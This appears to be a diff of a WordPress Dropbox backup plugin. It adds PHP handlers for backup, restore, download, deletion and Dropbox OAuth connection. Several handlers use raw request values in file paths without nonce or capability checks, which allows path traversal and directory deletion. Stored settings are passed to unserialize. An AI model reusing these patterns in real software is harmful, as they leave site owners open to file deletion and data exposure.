+ $upMemoryLimit = 1;
883
+ $maxMemoryLimit = ini_get('memory_limit');
884
+ }
885
+ $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
886
+ $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
887
+
888
+ $ex = check_function($extensions, $extensions_search);
889
+ $func = check_function($disabledFunctions, $disabledFunctions_search, true);
890
+
891
+ return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
892
+ 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
893
+ 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
894
+ 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
895
+ 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
896
+ 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
897
+ 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
898
+ );
899
+
900
+ }
901
+ }
902
+
903
+ ?>
main/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
main/wpadm-class-wp.php ADDED
@@ -0,0 +1,756 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if(@session_id() == '') {
3
+ @session_start();
4
+ }
5
+
6
+ require_once DRBBACKUP_BASE_DIR . "/libs/error.class.php";
7
+ require_once DRBBACKUP_BASE_DIR . "/libs/wpadm.server.main.class.php";
8
+ if (! class_exists("wpadm_wp_full_backup_dropbox") ) {
9
+
10
+ add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
11
+ add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
12
+ add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
13
+ add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
14
+ add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
15
+ add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );
16
+ add_action('wp_ajax_stop_backup', array('wpadm_wp_full_backup_dropbox', 'stopBackup') );
17
+ add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );
18
+
19
+
20
+ add_action('admin_post_wpadm_delete_backup', array('wpadm_wp_full_backup_dropbox', 'delete_backup') );
21
+ add_action('admin_post_dropboxConnect', array('wpadm_wp_full_backup_dropbox', 'dropboxConnect') );
22
+
23
+ add_action('admin_post_login-process', array('wpadm_wp_full_backup_dropbox', 'auth_user') );
24
+
25
+ add_action('admin_post_wpadm_download', array('wpadm_wp_full_backup_dropbox', 'download') );
26
+ add_action('init', array('wpadm_wp_full_backup_dropbox', 'init'), 10 );
27
+
28
+ add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice'));
29
+ add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice_stars'));
30
+ add_action('admin_post_hide_notice', array('wpadm_wp_full_backup_dropbox', 'hide_notice') );
31
+ add_action( 'admin_bar_menu', array('wpadm_wp_full_backup_dropbox', 'add_link_to_admin_bar') ,999 );
32
+
33
+ @set_time_limit(0);
34
+
35
+ class wpadm_wp_full_backup_dropbox extends wpadm_class {
36
+
37
+ private static $default_optimization = 1;
38
+
39
+ const MIN_PASSWORD = 6;
40
+
41
+ static function stopBackup()
42
+ {
43
+ WPAdm_Running::init_params_default();
44
+ }
45
+
46
+ static function add_link_to_admin_bar($wp_admin_bar)
47
+ {
48
+ $show = true;
49
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
50
+ if ($dropbox_options) {
51
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
52
+ }
53
+ if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
54
+ if (!is_admin() || !is_super_admin()) {
55
+ $show = false;
56
+ }
57
+ }
58
+ if ($show) {
59
+ $wp_admin_bar->add_node( array(
60
+ 'id' => 'dropbox-backup',
61
+ 'title' => 'Dropbox backup',
62
+ 'href' => esc_url( admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") ),
63
+ 'meta' => array('class' => 'dropbox-image-toolbar')
64
+ ));
65
+ }
66
+
67
+ }
68
+
69
+ public static function notice_stars()
70
+ {
71
+ if ( file_exists(WPAdm_Core::getTmpDir() . "/notice-star") ) {
72
+ $star = file_get_contents(WPAdm_Core::getTmpDir() . "/notice-star");
73
+ if ($star != 0) {
74
+ $d = explode("_", $star);
75
+ $time = $hide = '';
76
+ if (isset($d[1])) {
77
+ if ($d[1] == '1d' && ( (int)$d[0] + WPADM_1DAY ) <= time() ) {
78
+ $time = __("1 day",'dropbox-backup');
79
+ $hide = '1d';
80
+ } elseif ($d[1] == 'w' && ( (int)$d[0] + WPADM_1WEEK ) <= time() ) {
81
+ $time = __("1 week",'dropbox-backup');
82
+ $hide = 'week';
83
+ }
84
+ }
85
+ if (!empty($time) && !empty($hide) && file_exists(DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php")) {
86
+ ob_start();
87
+ require_once DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php";
88
+ echo ob_get_clean();
89
+ }
90
+ }
91
+ }
92
+ }
93
+
94
+ public static function setFlagToTmp($flag = '', $data = false)
95
+ {
96
+ if ( !empty($flag) ) {
97
+ if (!class_exists('WPAdm_Core')) {
98
+ require_once DRBBACKUP_BASE_DIR . "/libs/class-wpadm-core.php" ;
99
+ WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR;
100
+ }
101
+ file_put_contents( WPAdm_Core::getTmpDir() . "/$flag" , $data );
102
+ }
103
+ }
104
+
105
+ public static function auth_user()
106
+ {
107
+ if (isset($_POST['username']) && $_POST['password']) {
108
+ if(!function_exists("wp_safe_remote_post")) {
109
+ include ABSPATH . "/http.php";
110
+ }
111
+ $res = wp_safe_remote_post(SERVER_URL_INDEX, array('username' => $_POST['username'], 'password' => $_POST['password'], 'plugin' => 'dropbox-backup'));
112
+ if (!Empty($res['body'])) {
113
+ $data_res = json_decode($res['body']);
114
+ if (isset($data_res['url'])) {
115
+ header("Location: " . $data_res['url']);
116
+ exit;
117
+ }
118
+ }
119
+ }
120
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") );
121
+ exit;
122
+ }
123
+
124
+ public static function init()
125
+ {
126
+ parent::$plugin_name = 'dropbox-backup';
127
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
128
+ WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR ;
129
+ }
130
+
131
+ static function include_admins_script()
132
+ {
133
+ if (isset($_GET['page']) && ($_GET['page'] == 'wpadm_wp_full_backup_dropbox' || $_GET['page'] == 'wpadm_plugins') ) {
134
+ wp_enqueue_style('admin-wpadm', plugins_url( "/template/css/admin-style-wpadm.css", dirname( __FILE__ )) );
135
+ wp_enqueue_script( 'js-admin-wpadm', plugins_url( "/template/js/admin-wpadm.js", dirname( __FILE__ ) ) );
136
+ wp_enqueue_script( 'postbox' );
137
+ }
138
+ wp_enqueue_style('css-admin-wpadm-toolbar', plugins_url( "/template/css/tool-bar.css", dirname( __FILE__ )) );
139
+ }
140
+
141
+ public static function setUserMail()
142
+ {
143
+ if (isset($_POST['email'])) {
144
+ $email = trim($_POST['email']);
145
+ $mail = get_option(PREFIX_BACKUP_ . "email");
146
+ if ($mail) {
147
+ add_option(PREFIX_BACKUP_ . "email", $email);
148
+ } else {
149
+ update_option(PREFIX_BACKUP_ . "email",$email);
150
+ }
151
+ }
152
+ echo 'true';
153
+ wp_die();
154
+ }
155
+ public static function saveSetting()
156
+ {
157
+ if (isset($_POST['is_admin']) || isset($_POST['is_optimization']) || isset($_POST['is_local_backup_delete'])) {
158
+
159
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
160
+ if ($dropbox_options) {
161
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
162
+ }
163
+ if (isset($_POST['is_admin'])) {
164
+ $dropbox_options['is_admin'] = (int) $_POST['is_admin'];
165
+ }
166
+ if (isset($_POST['is_optimization'])) {
167
+ $dropbox_options['is_optimization'] = (int) $_POST['is_optimization'];
168
+ }
169
+ if (isset($_POST['is_local_backup_delete'])) {
170
+ $dropbox_options['is_local_backup_delete'] = (int) $_POST['is_local_backup_delete'];
171
+ }
172
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
173
+ }
174
+ }
175
+
176
+ public static function getSettings()
177
+ {
178
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
179
+ if ($dropbox_options) {
180
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
181
+ } else {
182
+ $dropbox_options = array();
183
+ }
184
+ return $dropbox_options;
185
+ }
186
+
187
+ public static function local_backup()
188
+ {
189
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
190
+ @session_write_close();
191
+ parent::$type = 'full';
192
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
193
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
194
+ }
195
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
196
+ file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
197
+ }
198
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
199
+ WPAdm_Running::init_params_default();
200
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP)) {
201
+ WPAdm_Running::delCommandResultData("local_backup");
202
+ $dropbox_options = self::getSettings();
203
+ $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
204
+ $backup = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
205
+ if (WPAdm_Core::$cron === false) {
206
+ $res = $backup->getResult()->toArray();
207
+ $res['md5_data'] = md5( print_r($res, 1) );
208
+ $res['name'] = $backup->name;
209
+ $res['time'] = $backup->time;
210
+ $res['type'] = 'local';
211
+ $res['counts'] = count($res['data']);
212
+ } else {
213
+ set_transient('running_command', 'local_backup', 0);
214
+ $res['result'] = 'work';
215
+ $res['error'] = '';
216
+ $res['data'] = array();
217
+ $res['size'] = 0;
218
+ }
219
+ } else {
220
+ $res['result'] = 'error';
221
+ $res['error'] = str_replace(array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP), __('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".','dropbox-backup') );
222
+ $res['data'] = array();
223
+ $res['size'] = 0;
224
+ }
225
+
226
+ @session_start();
227
+ echo json_encode($res);
228
+ wp_die();
229
+
230
+ }
231
+ public static function getLog()
232
+ {
233
+ @session_write_close();
234
+ @session_start();
235
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
236
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
237
+ $log = WPAdm_Core::getLog();
238
+ $log2 = WPAdm_Core::getTmpDir() . "/logs2";
239
+ if (file_exists($log2)) {
240
+ $text = @file_get_contents($log2);
241
+ file_put_contents($log2, $log);
242
+ $log = str_replace($text, "", $log);
243
+ } else {
244
+ file_put_contents($log2, $log);
245
+ }
246
+ $log = explode("\n", $log);
247
+ krsort($log);
248
+ $log_array = array('log' => $log );
249
+ $data_result = WPAdm_Running::getCommandResultData($_POST['type-backup']);
250
+ if (!empty($data_result)) {
251
+ $log_array['data'] = $data_result;
252
+ set_transient('drb_running', 0, 1);
253
+ }
254
+ echo json_encode( $log_array );
255
+ exit;
256
+ }
257
+ public static function restore_backup()
258
+ {
259
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
260
+ @session_write_close();
261
+ parent::$type = 'full';
262
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
263
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
264
+ }
265
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
266
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
267
+ $res = $backup->getResult()->toArray();
268
+ @session_start();
269
+ echo json_encode($res);
270
+ wp_die();
271
+ }
272
+ public static function wpadm_restore_dropbox()
273
+ {
274
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
275
+ @session_write_close();
276
+ $log_class = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
277
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
278
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
279
+ }
280
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
281
+ @unlink(WPAdm_Core::getTmpDir() . "/log.log");
282
+ }
283
+ WPAdm_Core::log( __('Start Restore from Dropbox cloud' ,'dropbox-backup')) ;
284
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
285
+ if ($dropbox_options) {
286
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
287
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
288
+ $folder_project = self::getNameProject();
289
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
290
+ if ($dropbox->isAuth()) {
291
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
292
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
293
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . "/$name_backup";
294
+ $error = WPAdm_Core::mkdir($dir_backup);
295
+ if (!empty($error)) {
296
+ WPAdm_Core::log($error);
297
+ $res['result'] = WPAdm_Result::WPADM_RESULT_ERROR;
298
+ $res['error'] = $error;
299
+ $res['data'] = array();
300
+ $res['size'] = 0;
301
+
302
+ } else {
303
+ $files = $dropbox->listing("$folder_project/$name_backup");
304
+ if (isset($files['items'])) {
305
+ $n = count($files['items']);
306
+ for($i = 0; $i < $n; $i++) {
307
+ $res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "$dir_backup/{$files['items'][$i]['name']}");
308
+ if ($res != "$dir_backup/{$files['items'][$i]['name']}" && isset($res['text'])) {
309
+ WPAdm_Core::log(__('Error: ' ,'dropbox-backup') . $res['text'] );
310
+ } else {
311
+ $log = str_replace('%s', $files['items'][$i]['name'], __('Download file (%s) with Dropbox' ,'dropbox-backup') );
312
+ WPAdm_Core::log($log);
313
+ }
314
+ }
315
+ parent::$type = 'full';
316
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
317
+ $res = $backup->getResult()->toArray();
318
+ WPAdm_Core::rmdir($dir_backup);
319
+ }
320
+ }
321
+ } else {
322
+ WPAdm_Core::log( str_replace(array('%d', '%k', '%s'),
323
+ array( SITE_HOME, $dropbox_options['app_key'], $dropbox_options['app_secret'] ), __('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' ,'dropbox-backup')
324
+ ) );
325
+ }
326
+ } else {
327
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
328
+ }
329
+ @session_start();
330
+ echo json_encode($res);
331
+ wp_die();
332
+ }
333
+ public static function download()
334
+ {
335
+ if (isset($_REQUEST['backup'])) {
336
+ require_once DRBBACKUP_BASE_DIR . "/class-wpadm-core.php";
337
+ require_once DRBBACKUP_BASE_DIR . '/modules/pclzip.lib.php';
338
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
339
+ $filename = $_REQUEST['backup'] . ".zip";
340
+ $file = WPAdm_Core::getTmpDir() . "/" . $filename;
341
+ if (file_exists($file)) {
342
+ @unlink($file);
343
+ }
344
+ $archive = new PclZip($file);
345
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_REQUEST['backup'];
346
+
347
+ $backups = array('data' => array(), 'md5' => '');
348
+ if (is_dir($dir_backup)) {
349
+ $i = 0;
350
+ $dir_open = opendir($dir_backup);
351
+ while($d = readdir($dir_open)) {
352
+ if ($d != '.' && $d != '..' && file_exists($dir_backup . "/$d") && substr($d, -3) != "php") {
353
+ $archive->add($dir_backup . "/$d", PCLZIP_OPT_REMOVE_PATH, DROPBOX_BACKUP_DIR_BACKUP );
354
+ }
355
+ }
356
+ }
357
+
358
+
359
+ $now = gmdate("D, d M Y H:i:s");
360
+ header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
361
+ header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate");
362
+ header("Last-Modified: {$now} GMT");
363
+
364
+ // force download
365
+ header("Content-Type: application/force-download");
366
+ header("Content-Type: application/octet-stream");
367
+ header("Content-Type: application/download");
368
+
369
+ // disposition / encoding on response body
370
+ header("Content-Disposition: attachment;filename={$filename}");
371
+ header("Content-Transfer-Encoding: binary");
372
+
373
+ ob_start();
374
+ $df = fopen("php://output", 'w');
375
+ echo file_get_contents($file);
376
+ fclose($df);
377
+ echo ob_get_clean();
378
+ @unlink($file);
379
+ exit;
380
+ }
381
+ }
382
+
383
+ public static function delete_backup()
384
+ {
385
+ if (isset($_POST['backup-type']) ) {
386
+ if ($_POST['backup-type'] == 'local') {
387
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
388
+ $dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_POST['backup-name'] ;
389
+ $delete = false;
390
+ if (is_dir($dir)) {
391
+ WPAdm_Core::rmdir($dir);
392
+ $delete = true;
393
+ }
394
+ $dir = ABSPATH . WPADM_DIR_NAME . '/' . $_POST['backup-name'] ;
395
+ if (is_dir($dir)) {
396
+ WPAdm_Core::rmdir($dir);
397
+ $delete = true;
398
+ }
399
+ $dir = WPADM_DIR_BACKUP . '/' . $_POST['backup-name'] ;
400
+ if (is_dir($dir)) {
401
+ WPAdm_Core::rmdir($dir);
402
+ $delete = true;
403
+ }
404
+ if ($delete) {
405
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], __('Backup(%s) was deleted','dropbox-backup') ) );
406
+ }
407
+ } elseif ($_POST['backup-type'] == 'dropbox') {
408
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
409
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
410
+ if ($dropbox_options) {
411
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
412
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
413
+ $folder_project = self::getNameProject();
414
+ $res = $dropbox->deleteFile("$folder_project/{$_POST['backup-name']}");
415
+ if ($res['is_deleted'] === true) {
416
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], __('Backup(%s) was deleted','dropbox-backup') ) );
417
+ }
418
+ }
419
+ }
420
+ }
421
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
422
+ }
423
+
424
+ protected static function getPluginName()
425
+ {
426
+
427
+ preg_match("|wpadm_wp_(.*)|", __CLASS__, $m);
428
+ return $m[1];
429
+ }
430
+ protected static function getPathPlugin()
431
+ {
432
+ return "wpadm_full_backup_dropbox";
433
+ }
434
+
435
+ public static function dropboxConnect()
436
+ {
437
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
438
+ if (isset($_GET['app_key']) && isset($_GET['app_secret'])) {
439
+ if (empty($_GET['app_key']) && empty($_GET['app_secret'])) {
440
+ $_GET['app_key'] = WPADM_APP_KEY;
441
+ $_GET['app_secret'] = WPADM_APP_SECRET;
442
+ }
443
+ $dropbox = new dropbox($_GET['app_key'], $_GET['app_secret']);
444
+ $_SESSION['dropbox_key'] = $_GET['app_key'];
445
+ $_SESSION['dropbox_secret'] = $_GET['app_secret'];
446
+ $_SESSION['dropbox_request_token'] = $dropbox->getRequestToken();
447
+ echo '<script>window.location.href="' . $dropbox->generateAuthUrl( admin_url('admin-post.php?action=dropboxConnect') ) . '";</script>';
448
+ } elseif (isset($_GET['oauth_token']) && isset($_GET['uid'])) {
449
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
450
+ if ($dropbox_options) {
451
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
452
+ } else {
453
+ $dropbox_options = array();
454
+ add_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode(serialize( $dropbox_options ) ) );
455
+ }
456
+ $dropbox = new dropbox(@$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret']);
457
+ $access_token = $dropbox->getAccessToken($_SESSION['dropbox_request_token']);
458
+ $dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
459
+ $dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
460
+ $dropbox_options['auth_token_secret'] = $access_token;
461
+ $dropbox_options['oauth_token'] = @$_GET['oauth_token'] ;
462
+ $dropbox_options['uid'] = @$_GET['uid'] ;
463
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
464
+ echo '<script>
465
+ if(window.opener){
466
+ window.opener.connectDropbox(null, null, "'.htmlspecialchars($access_token['oauth_token_secret']).'", "'.htmlspecialchars($access_token['oauth_token']).'", "'.htmlspecialchars($access_token['uid']).'");window.close();
467
+ }else{
468
+ window.location.href="' . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") . '";
469
+ }
470
+ </script>';
471
+ echo '<script>window.close();</script>';exit;
472
+ } elseif (isset($_GET['not_approved'])) {
473
+ if( $_GET['not_approved'] == 'true' ){
474
+ echo '<script>window.close();</script>';exit;
475
+ }
476
+ } else {
477
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
478
+ }
479
+ exit;
480
+ }
481
+
482
+ public static function dropbox_backup_create()
483
+ {
484
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
485
+ @session_write_close();
486
+
487
+ $log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
488
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
489
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
490
+ }
491
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
492
+ file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
493
+ }
494
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP) && !file_exists(WPAdm_Core::getTmpDir() . "/create-backup") ) {
495
+ file_put_contents(WPAdm_Core::getTmpDir() . "/create-backup", 1);
496
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
497
+ $send_to_dropbox = true;
498
+ if ($dropbox_options) {
499
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
500
+ if (!isset($dropbox_options['app_key'])) {
501
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
502
+ $send_to_dropbox = false;
503
+ }
504
+ if (!isset($dropbox_options['app_secret'])) {
505
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
506
+ $send_to_dropbox = false;
507
+ }
508
+ if (!isset($dropbox_options['oauth_token'])) {
509
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."' ,'dropbox-backup') ) );
510
+ $send_to_dropbox = false;
511
+ }
512
+ } else {
513
+ WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
514
+ $res['type'] = 'local';
515
+ $send_to_dropbox = false;
516
+ }
517
+
518
+ if ($send_to_dropbox) {
519
+ parent::$type = 'full';
520
+ WPAdm_Running::init_params_default();
521
+ WPAdm_Running::delCommandResultData("local_backup");
522
+ $dropbox_options = self::getSettings();
523
+ $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
524
+ $backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
525
+ $res = array();
526
+ if (WPAdm_Core::$cron === false) {
527
+ $res = $backup->getResult()->toArray();
528
+ $res['md5_data'] = md5( print_r($res, 1) );
529
+ $res['name'] = $backup->name;
530
+ $res['time'] = $backup->time;
531
+ $res['type'] = 'dropbox';
532
+ $res['counts'] = count($res['data']);
533
+ }
534
+ unset($backup_local);
535
+ $folder_project = self::getNameProject();
536
+ WPAdm_Running::delCommandResultData("send-to-dropbox");
537
+ $backup = new WPAdm_Core(array('method' => "send-to-dropbox",
538
+ 'params' => array('files' => isset($res['data']) ? $res['data'] : '',
539
+ 'local' => true,
540
+ 'is_local_backup' => ( isset($dropbox_options['is_local_backup_delete']) && $dropbox_options['is_local_backup_delete'] == 1 ? $dropbox_options['is_local_backup_delete'] : 0 ),
541
+ 'access_details' => array('key' => $dropbox_options['app_key'],
542
+ 'secret' => $dropbox_options['app_secret'],
543
+ 'token' => $dropbox_options['auth_token_secret'],
544
+ 'dir' => isset($res['name']) ? $res['name'] : '',
545
+ 'folder' => $folder_project),
546
+ )
547
+ ),
